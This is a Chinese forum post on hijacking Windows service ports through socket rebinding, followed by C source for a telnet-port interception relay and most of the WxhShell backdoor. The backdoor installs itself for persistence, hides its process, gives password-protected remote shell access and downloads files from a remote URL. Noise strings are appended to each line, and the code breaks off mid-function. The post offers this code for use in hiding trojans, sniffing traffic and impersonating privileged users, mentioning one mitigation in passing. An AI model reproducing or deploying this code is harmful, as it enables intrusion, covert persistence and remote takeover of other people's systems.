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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: } ~| k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  A^ViDP  
/prYSRn8  
  saddr.sin_family = AF_INET; <?YA,"~  
9t?L\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vo\H<_=G  
>)NQH9'1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~O{W;Cyh  
\6o\+OQk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3+ =I;nj  
YGp)Oy}:  
  这意味着什么?意味着可以进行如下的攻击: /;Yy@oc  
nU2V]-qY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b0rX QMu  
)s)_XL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =LI:S|[4  
| f\D>Y%)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eZH~je{1  
<J&7]6Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D^+?|Y@N  
z<B CLP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ='}#`',  
RP! X8~8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yzR=A%V8A  
id?"PD"%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *)'Vvu<  
8O7Yv<  
  #include =xL)$DTg)  
  #include L[y Pjw:0  
  #include )#C mQXgG  
  #include    o_f-GO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )6-9)pH@)  
  int main() [ ny6W9  
  { "$|Zr  
  WORD wVersionRequested; BtsdeLj|  
  DWORD ret; AOb]qc  
  WSADATA wsaData; L%t@,O#,  
  BOOL val; m|O1QM;T  
  SOCKADDR_IN saddr; $i#?v  
  SOCKADDR_IN scaddr; zXZir7NfM  
  int err; U%>'"  
  SOCKET s; _Zc4=c,K  
  SOCKET sc; O,s.D,S  
  int caddsize; P|xG\3@Z  
  HANDLE mt; O)]v;9oER  
  DWORD tid;   UV AJxqz%}  
  wVersionRequested = MAKEWORD( 2, 2 ); /[=E0_t+  
  err = WSAStartup( wVersionRequested, &wsaData ); I[d]!YI}F  
  if ( err != 0 ) { <41ZZ0<EwY  
  printf("error!WSAStartup failed!\n"); NmpnJu|8  
  return -1; [=uIb._Wv  
  } eKG2*CV  
  saddr.sin_family = AF_INET; /Vww?9U;  
   y 9L14  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %w ) +V  
O=}g 4c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XRtD< jlA"  
  saddr.sin_port = htons(23); 'wQv3 ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fky?\ec  
  { T%IK/"N|+  
  printf("error!socket failed!\n"); "& 25D  
  return -1; 2S ~R!   
  } ZVih=Y-w  
  val = TRUE; !<<AzLVL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q.Aa{d9e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kz?#C  
  { s{}]D{bc  
  printf("error!setsockopt failed!\n"); @Jn!0Y1_3  
  return -1; F #`=oM $5  
  } fjG&`m#"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wTc)S6%7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j:,9%tg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 91Z'  
Vzg=@A#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }m- "8\_D  
  { I G ~`i I  
  ret=GetLastError(); nZk +  
  printf("error!bind failed!\n"); 4aUiXyr*2  
  return -1; `]i []|  
  } %*}Y6tl'|  
  listen(s,2); "ju'UOcS/  
  while(1) iE].&>w  
  { F@YKFk+a  
  caddsize = sizeof(scaddr); BuOgOYh9  
  //接受连接请求 g)"gw+ZFc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sG7u}r  
  if(sc!=INVALID_SOCKET) eWs&J24  
  { P8Qyhc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ib=x~za@n  
  if(mt==NULL) q v*7K@  
  { E_T 2z4lw  
  printf("Thread Creat Failed!\n"); ==N{1gO]  
  break; HD>q(cK_|8  
  } bulS&dAX  
  } YJeyIYCs<  
  CloseHandle(mt); #5} wuj%5  
  } YJV%a  
  closesocket(s); .a'f|c6  
  WSACleanup(); 7gF"=7{-  
  return 0; Xf[kI  
  }   ^teq[l$;  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6%G-Vs]*2  
  { ~`ny @WD9  
  SOCKET ss = (SOCKET)lpParam; };L ^w :  
  SOCKET sc; ^h' Sla  
  unsigned char buf[4096]; $g0+,ll[6  
  SOCKADDR_IN saddr; ]=pR  
  long num; S$,'Q^~K  
  DWORD val; u\yVR$pQ  
  DWORD ret; w;6bD'.>;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lh.b 5Q|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M5357Q  
  saddr.sin_family = AF_INET; NPa\Cg[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); co8"sz0(U  
  saddr.sin_port = htons(23); ').}Nz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tBbOY}.VD  
  { yw-8#y  
  printf("error!socket failed!\n"); r!1D*v5&:  
  return -1; %QmxA 7fW  
  } Zdc63fllM  
  val = 100; Mj#-j/{x{5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m0n)dje  
  { T;TA7{B  
  ret = GetLastError(); {76c%<`WaP  
  return -1; Rhc-q|Lz8  
  } FY{e2~gi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CC=d I  
  { Mn1Pt|_@!  
  ret = GetLastError(); aT!'}GjL  
  return -1; O/s $SX%g  
  } d\{>TdyF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hb} X-6N  
  { H %JaZ?(  
  printf("error!socket connect failed!\n"); K.<.cJE  
  closesocket(sc); i 9<pqQ  
  closesocket(ss); Q_-_^J  
  return -1; _|[UI.a  
  } ^hNgm.I  
  while(1) ,2Q o7(A  
  { W&* f#E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MTg:dR_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c #-U%qZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . o7m!  
  num = recv(ss,buf,4096,0); fZ04!R  
  if(num>0) I-y#Ks1p+  
  send(sc,buf,num,0); KqBk~-G  
  else if(num==0) #} ~qqJ G2  
  break; -}O1dEn.  
  num = recv(sc,buf,4096,0); vE@!{*  
  if(num>0) ~(!XY/0e  
  send(ss,buf,num,0); &,A64y  
  else if(num==0) ?Nf>]|K:Q  
  break; C2LL|jp*  
  } An;MVA  
  closesocket(ss); `ps)0!L L`  
  closesocket(sc); m(RXJORI  
  return 0 ; *n" /a{6>  
  } z%MW!x  
r.3/F[.  
j 8*ZF  
========================================================== |8mhp.7  
t@u7RL*n:<  
下边附上一个代码,,WXhSHELL Gj"7s8(/K|  
t!*+8Q !e  
========================================================== d \x7Zw>  
BdlVabQyKW  
#include "stdafx.h" 7K)6^r^  
Ee4&g<X.  
#include <stdio.h> ?]D"k4  
#include <string.h> i1H\#;`$  
#include <windows.h> _^Mx>hb4.  
#include <winsock2.h> rSXh;\MfB4  
#include <winsvc.h> 'RRmIx2X  
#include <urlmon.h> -~?J+o+Pr"  
ST\$=  
#pragma comment (lib, "Ws2_32.lib") 0#w?HCx=  
#pragma comment (lib, "urlmon.lib") }cT_qqw(f%  
,0x y\u  
#define MAX_USER   100 // 最大客户端连接数 JkW9D)6  
#define BUF_SOCK   200 // sock buffer DXz} YIEC  
#define KEY_BUFF   255 // 输入 buffer H*#s }9=kZ  
]|`C uc  
#define REBOOT     0   // 重启 *`ZH` V  
#define SHUTDOWN   1   // 关机 q_-7i  
Q+g!V5'  
#define DEF_PORT   5000 // 监听端口 b Q]/?cCYV  
2M# r]  
#define REG_LEN     16   // 注册表键长度 3nZo{p:E  
#define SVC_LEN     80   // NT服务名长度 .e=C{  
;&1V0U,fx  
// 从dll定义API f B9;_z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KII *az  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6iCrRjY*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B6wRg8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | WvUq  
w)Covz'uf  
// wxhshell配置信息 @V03a )6,h  
struct WSCFG { dtpoU&?6s  
  int ws_port;         // 监听端口 XC.%za8  
  char ws_passstr[REG_LEN]; // 口令 @|Rrf*J?%  
  int ws_autoins;       // 安装标记, 1=yes 0=no e{m2l2Tx:  
  char ws_regname[REG_LEN]; // 注册表键名  -_`>j~  
  char ws_svcname[REG_LEN]; // 服务名 ,o)d3g-&g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %-d]X{J:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 um9_ru~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T49zcJf;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g!-,]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4;2< ^[M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Hm3;P.  
`Od5Gh  
}; ) /z@vY  
Mn)@{^  
// default Wxhshell configuration mdRU^n  
struct WSCFG wscfg={DEF_PORT, aH^RoG}  
    "xuhuanlingzhe", &^W|iXi#  
    1, I1PuHf Qs  
    "Wxhshell", =}.EY iD  
    "Wxhshell", m 9/}~Y#k  
            "WxhShell Service", m=YU2!Mb  
    "Wrsky Windows CmdShell Service", K_dOq68_  
    "Please Input Your Password: ", kT;S4B  
  1, -wjN"g<  
  "http://www.wrsky.com/wxhshell.exe", F&&$Qn_+  
  "Wxhshell.exe" br|;'i%(  
    }; H,b5C_D29  
@|\}.M<e*)  
// 消息定义模块 =jN *P?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Hn/I,/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k{'0[,mx#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yb E-6|cz  
char *msg_ws_ext="\n\rExit.";  EW3(cQbK  
char *msg_ws_end="\n\rQuit."; k1QpKn*  
char *msg_ws_boot="\n\rReboot..."; fl\ly `_  
char *msg_ws_poff="\n\rShutdown..."; #-bA[eQV  
char *msg_ws_down="\n\rSave to "; `QXErw  
:s4p/*f  
char *msg_ws_err="\n\rErr!"; b,C aWg  
char *msg_ws_ok="\n\rOK!"; WL'P)lI5  
o LvZ   
char ExeFile[MAX_PATH]; I :vs;-  
int nUser = 0; ub|V\M{  
HANDLE handles[MAX_USER]; Yl3n2R /U  
int OsIsNt; 5-M&5f.   
ELj\[&U  
SERVICE_STATUS       serviceStatus; z_|/5$T>U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,lyb!k8  
}`@728E  
// 函数声明 E2m8UBS  
int Install(void); h=:Q-?n-  
int Uninstall(void); VY3&  
int DownloadFile(char *sURL, SOCKET wsh); JfR %L q~  
int Boot(int flag); m}X`> aD/  
void HideProc(void); 1;{Rhu7* k  
int GetOsVer(void); vvm0t"|\  
int Wxhshell(SOCKET wsl); |9B.mBoX  
void TalkWithClient(void *cs); m%76i;uP  
int CmdShell(SOCKET sock); ~8]NK&J  
int StartFromService(void); dxmE3*b`  
int StartWxhshell(LPSTR lpCmdLine); !_"fP:T>  
7(5 4/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q}]XYys  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UXh9:T'%  
`DC2gJKk%  
// 数据结构和表定义 l g-X:Z.  
SERVICE_TABLE_ENTRY DispatchTable[] = {DR`;ea])1  
{ [<6S%s  
{wscfg.ws_svcname, NTServiceMain}, $g sxO!G  
{NULL, NULL} {HCz p,Y  
}; a]MX)?  
?#45wC  
// 自我安装 7Zh~lM  
int Install(void) |>#{[wko  
{ O<,\^[x  
  char svExeFile[MAX_PATH]; k3uit+ge }  
  HKEY key; LbkF   
  strcpy(svExeFile,ExeFile); GSRVe/ [  
!7kG!)40  
// 如果是win9x系统,修改注册表设为自启动 (_"*NY0  
if(!OsIsNt) { T7#W0^tj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f` ;j:O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}$ EG  
  RegCloseKey(key); 2* 2wY=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }yz (xH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jl&-,Vjb  
  RegCloseKey(key); Dp':oJC  
  return 0; 2n|K5FR()  
    } !Ze5)g%H  
  } 4 XAQVq5  
} sashzVwJ-=  
else { NB8/g0:=n&  
1A\OC  
// 如果是NT以上系统,安装为系统服务 H(Z88.OM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MerFZd 1  
if (schSCManager!=0) Gy6l<:;  
{ } x2DT8u  
  SC_HANDLE schService = CreateService fc |GArL#}  
  ( aL&n[   
  schSCManager, o:_Xv.HRZo  
  wscfg.ws_svcname, W`u[h0\c  
  wscfg.ws_svcdisp, z[3L2U~6  
  SERVICE_ALL_ACCESS, BDjn !3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0DJ+I  
  SERVICE_AUTO_START, &8vCZN^  
  SERVICE_ERROR_NORMAL, LRNh@g4ei  
  svExeFile, 9;B0Mq py  
  NULL, <x<"n t  
  NULL, ;u>DNG|.  
  NULL, 1fZ(l"  
  NULL, HxIIO[h  
  NULL Y9&,t\ q  
  ); rl #p".4q  
  if (schService!=0) BBtzs^C|  
  { 3G(miP6  
  CloseServiceHandle(schService); %y@Hh=  
  CloseServiceHandle(schSCManager); p{j.KI s7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [m|YWT=  
  strcat(svExeFile,wscfg.ws_svcname); ~4 `5tb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U15H@h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uLWh |   
  RegCloseKey(key); E(Z8  
  return 0; mD^ jd+  
    } w.?:SD  
  } WjlZ6g2i  
  CloseServiceHandle(schSCManager); xo7Kn+ Kl  
} `|ASx8_!  
} 1*@'-mj  
Jz2N  
return 1; pP*a  
} $d_|NssvU  
;n&t>pBM  
// 自我卸载 OHhsP}/  
int Uninstall(void) +Zaj,oEE  
{ T Kg aV;92  
  HKEY key; rV T{90,  
i}B2R$Z3  
if(!OsIsNt) { >kW@~WDMu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oz}+T(@O  
  RegDeleteValue(key,wscfg.ws_regname); U G~ba  
  RegCloseKey(key); +,#$:fs u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v%iof1 T'  
  RegDeleteValue(key,wscfg.ws_regname); k\NMy#]Zt  
  RegCloseKey(key); CD~z=vlK-  
  return 0; ~wkj&yVT  
  } Ljp%CI[i  
} % a@>_  
} w%JTTru  
else { e,Uo#T6J  
pUV/ Ul]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K*X_FJ  
if (schSCManager!=0) P_Gw-`L5T  
{ (q(~de  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *%S"eWb  
  if (schService!=0) -)RH5WGS  
  { jAm3HI   
  if(DeleteService(schService)!=0) { MM x9(`t*.  
  CloseServiceHandle(schService); )'6DNa[y  
  CloseServiceHandle(schSCManager); mjKS{  
  return 0; {z")7g ]l  
  } -bSSP!f  
  CloseServiceHandle(schService); Nw1#M%/!r!  
  } A^y|J ` k|  
  CloseServiceHandle(schSCManager); "saUai4z  
} \xnWciQ#{  
} ^HqY9QT2  
v33dxZ'  
return 1; 1ke g9]  
} &3TEfvz  
X ><?F|#7T  
// 从指定url下载文件 b"vv>Q~U  
int DownloadFile(char *sURL, SOCKET wsh) V;:jZpG  
{ P8*=Ls+-F  
  HRESULT hr; l%1!a  
char seps[]= "/"; woD>!r>)  
char *token; j ~1B|,H  
char *file; Zf65`K3  
char myURL[MAX_PATH]; \v.C]{Gzc  
char myFILE[MAX_PATH]; o1h={ao  
.U?'i<  
strcpy(myURL,sURL); OslL~<  
  token=strtok(myURL,seps); JU^lyi!  
  while(token!=NULL) ]Zyur`  
  { 2&^]k`Aj6D  
    file=token; ih P|E,L=L  
  token=strtok(NULL,seps); YW60q0:  
  } q&W[j5E  
w (/aiV  
GetCurrentDirectory(MAX_PATH,myFILE); X bD4:i%  
strcat(myFILE, "\\"); ^`)) C;  
strcat(myFILE, file); PGLplXb#[S  
  send(wsh,myFILE,strlen(myFILE),0); ~s]iy9i  
send(wsh,"...",3,0); 8p@Piy{p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [`c^ 4 E  
  if(hr==S_OK) zY"1drE>G  
return 0; N#DYJ-~*  
else *U]V@;XF  
return 1; "F.;Dv9V[0  
.R./0Ot tx  
} v,4pp@8rv  
RkBb$q9F]  
// 系统电源模块 V9dF1Hj  
int Boot(int flag) R)RG[F#   
{ }5}.lJ:  
  HANDLE hToken; =W BTm  
  TOKEN_PRIVILEGES tkp; 6u7?dG'4  
qx4I_%  
  if(OsIsNt) { IbP#_Vt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |,!IZ- th  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8$;=Uf,x  
    tkp.PrivilegeCount = 1; Te}8!_ohyC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fDvl/|62{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Db1pW=66:  
if(flag==REBOOT) { Xt@Z}B))pu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L&%s[  
  return 0; !VI]oRgP  
} D IzH`|Y  
else { b+&% 1C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |qmu _x\  
  return 0; gm[z[~X@  
} {yB&xj[z  
  } h9Y%{v  
  else { C@L$~iG  
if(flag==REBOOT) { ,~OwLWi-|X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kT'u1q$3Vo  
  return 0; elFtBnL'  
} t<|NLk.  
else { MgNU``  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6Qy@UfB  
  return 0; !=:$lzS^  
} /x[jQM\  
} 7|[mz> "d  
vDxe/x%  
return 1; B9H@e#[  
} 8'4S8DM  
@qnD=mE  
// win9x进程隐藏模块 6w(6}m.L^  
void HideProc(void) U}PiY"S<  
{ _G.>+!"2/  
UM6(s@$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8#X3Rp  
  if ( hKernel != NULL ) *UmI]E{g3(  
  { J_v$YwE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M#=] k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cQ" ~\  
    FreeLibrary(hKernel); }C>{uXv  
  } _oUHJ~&,  
(Yis:%c\!  
return; qycI(5S,  
} dOoKLry  
~tR~?b T  
// 获取操作系统版本 LM-J !44  
int GetOsVer(void) km1~yQ"bH  
{ S4h:|jLUF  
  OSVERSIONINFO winfo; \u>"s   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :E@3Vl#U  
  GetVersionEx(&winfo); cvfr)K[0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E7Y`|nT  
  return 1;  uJ5Eka  
  else ^,;z|f'% *  
  return 0; Tp_L%F  
} KFvQ  
j;fpQ_KL  
// 客户端句柄模块 [zlN !.Z  
int Wxhshell(SOCKET wsl) =IW?WIXk  
{ 3MY(<TGX  
  SOCKET wsh; 24)(5!:"  
  struct sockaddr_in client; eL\;Nf+Zp  
  DWORD myID; r;Gi+Ca5  
]jaQ[g$F  
  while(nUser<MAX_USER) [I$ BmGQ  
{ Qkd<sxL  
  int nSize=sizeof(client); K_El&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kMOpi =Z1  
  if(wsh==INVALID_SOCKET) return 1; # P?6@\  
~YRDyQ:%T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I>[RqG  
if(handles[nUser]==0) {6c2{@  
  closesocket(wsh); 8&3V#sn'  
else +tk{"s^r*  
  nUser++; W'.s\e?gh  
  } sZL#xZ5 Df  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fD07VBS yl  
bX*Hi#J~A  
  return 0; vt;{9\Y  
} nM-h&na{s  
'eJ+JM<0%  
// 关闭 socket b D[!/'4eJ  
void CloseIt(SOCKET wsh) '6xQT-sUih  
{ i 4%xfN  
closesocket(wsh); dz *7gL;7G  
nUser--; Sk:ws&D1u  
ExitThread(0); t0nI('LX,  
} NyVnA  
ywb4LKD  
// 客户端请求句柄 ae*Mf7  
void TalkWithClient(void *cs) z[cyA.  
{ f~d d3m('  
@Q^P{  
  SOCKET wsh=(SOCKET)cs; }*ZHgf]~#  
  char pwd[SVC_LEN]; sm\f0P!rv  
  char cmd[KEY_BUFF]; niqN{  
char chr[1]; &/uu)v  
int i,j; -GqT7`:(H4  
8 XICF  
  while (nUser < MAX_USER) { H~+l7OhV  
cu%C"  
if(wscfg.ws_passstr) { i%g#+Gw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '^Ql]% _  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q"t<3-"  
  //ZeroMemory(pwd,KEY_BUFF); Wt=|  
      i=0; ;Y; qg  
  while(i<SVC_LEN) { `"@g8PWe  
.%^]9/4  
  // 设置超时 ^RP)>d9Xp{  
  fd_set FdRead; h?f>X"*|(  
  struct timeval TimeOut; wo3wtx  
  FD_ZERO(&FdRead); $ KRI'4  
  FD_SET(wsh,&FdRead); r} P<iX   
  TimeOut.tv_sec=8; Ga^Zb^y  
  TimeOut.tv_usec=0; MzP7Py 8.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `KCh*i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ezi-VGjr]  
(lGaPMEU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BA:yQ  
  pwd=chr[0]; 581e+iC~<H  
  if(chr[0]==0xd || chr[0]==0xa) { A)~X,  
  pwd=0; K3' niGT  
  break; 3"kd jOB  
  } S<L.c  
  i++; NFr:y<0>z  
    } Kv rX{F=  
) gzR=9l  
  // 如果是非法用户,关闭 socket c(/VYMJZ&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); shH~4<15  
} T /mI[*1xI  
\(PohwWWo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _kdL'x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !{82D[5  
+dP L>R  
while(1) { #9m$ N  
3G meD/6  
  ZeroMemory(cmd,KEY_BUFF); % ',F  
qA:#iJ8w  
      // 自动支持客户端 telnet标准   H%1$,]F  
  j=0; Maqf[ Vky  
  while(j<KEY_BUFF) { p)=~% 7DV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S8l1"/?aHE  
  cmd[j]=chr[0]; {66fG53x  
  if(chr[0]==0xa || chr[0]==0xd) { sjM;s{gy  
  cmd[j]=0; Y9=(zOqv  
  break; 4_D@ST%  
  } ooj~&fu  
  j++; enTW0U}  
    } T?p`)  
#$1og=  
  // 下载文件 {i*2R^5  
  if(strstr(cmd,"http://")) { ZO7&vF}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Q!b t  
  if(DownloadFile(cmd,wsh)) S|zW^|YU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~ZP{IXyo  
  else S\wW)Pv8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m))<!3  
  } o3Vn<Z$/Cl  
  else { /_\#zC[  
,WQ^tI=O  
    switch(cmd[0]) { $ C0TD7=  
  =9G;PVk|  
  // 帮助 u=&Bmn_  
  case '?': { 7 yt=]1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e.o;eD}"  
    break; vU*x2fVb}  
  } 8yW oPm<A  
  // 安装 e9^2,:wLB  
  case 'i': { J.R AmU<  
    if(Install()) v8I{XU@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nPkZHIxuD  
    else CkRX>)=py  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ jAo:K_Z  
    break; E4D (,s  
    } [ut#:1h^  
  // 卸载 ~~8rI[/  
  case 'r': { ^ie^VY($  
    if(Uninstall()) *OdX u&5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(&;q4|  
    else q9dLHi<1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }~o ikN:  
    break; # 4|9Fj??  
    } z]Acs  
  // 显示 wxhshell 所在路径 VG*'"y *%w  
  case 'p': { sFb4`  
    char svExeFile[MAX_PATH]; ?A7Yk4Y.?N  
    strcpy(svExeFile,"\n\r"); c[0oh.  
      strcat(svExeFile,ExeFile); -)<m S  
        send(wsh,svExeFile,strlen(svExeFile),0); U&y`-@A4  
    break; "L3Xd][  
    } TRKgBK$,  
  // 重启 8,o17}NY,  
  case 'b': { 3AlqBXE"Z<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MFg'YA2/  
    if(Boot(REBOOT)) C%ytkzG_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Q-I8Y8l8  
    else { qi+&|80T.  
    closesocket(wsh); Cj&$%sO1  
    ExitThread(0); r(}nhUQ%E  
    } ggou*;'  
    break; 9.0WKcwg  
    } 4R+P  
  // 关机 M^H90GN)X  
  case 'd': { C=VIT*=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p\U*;'hv  
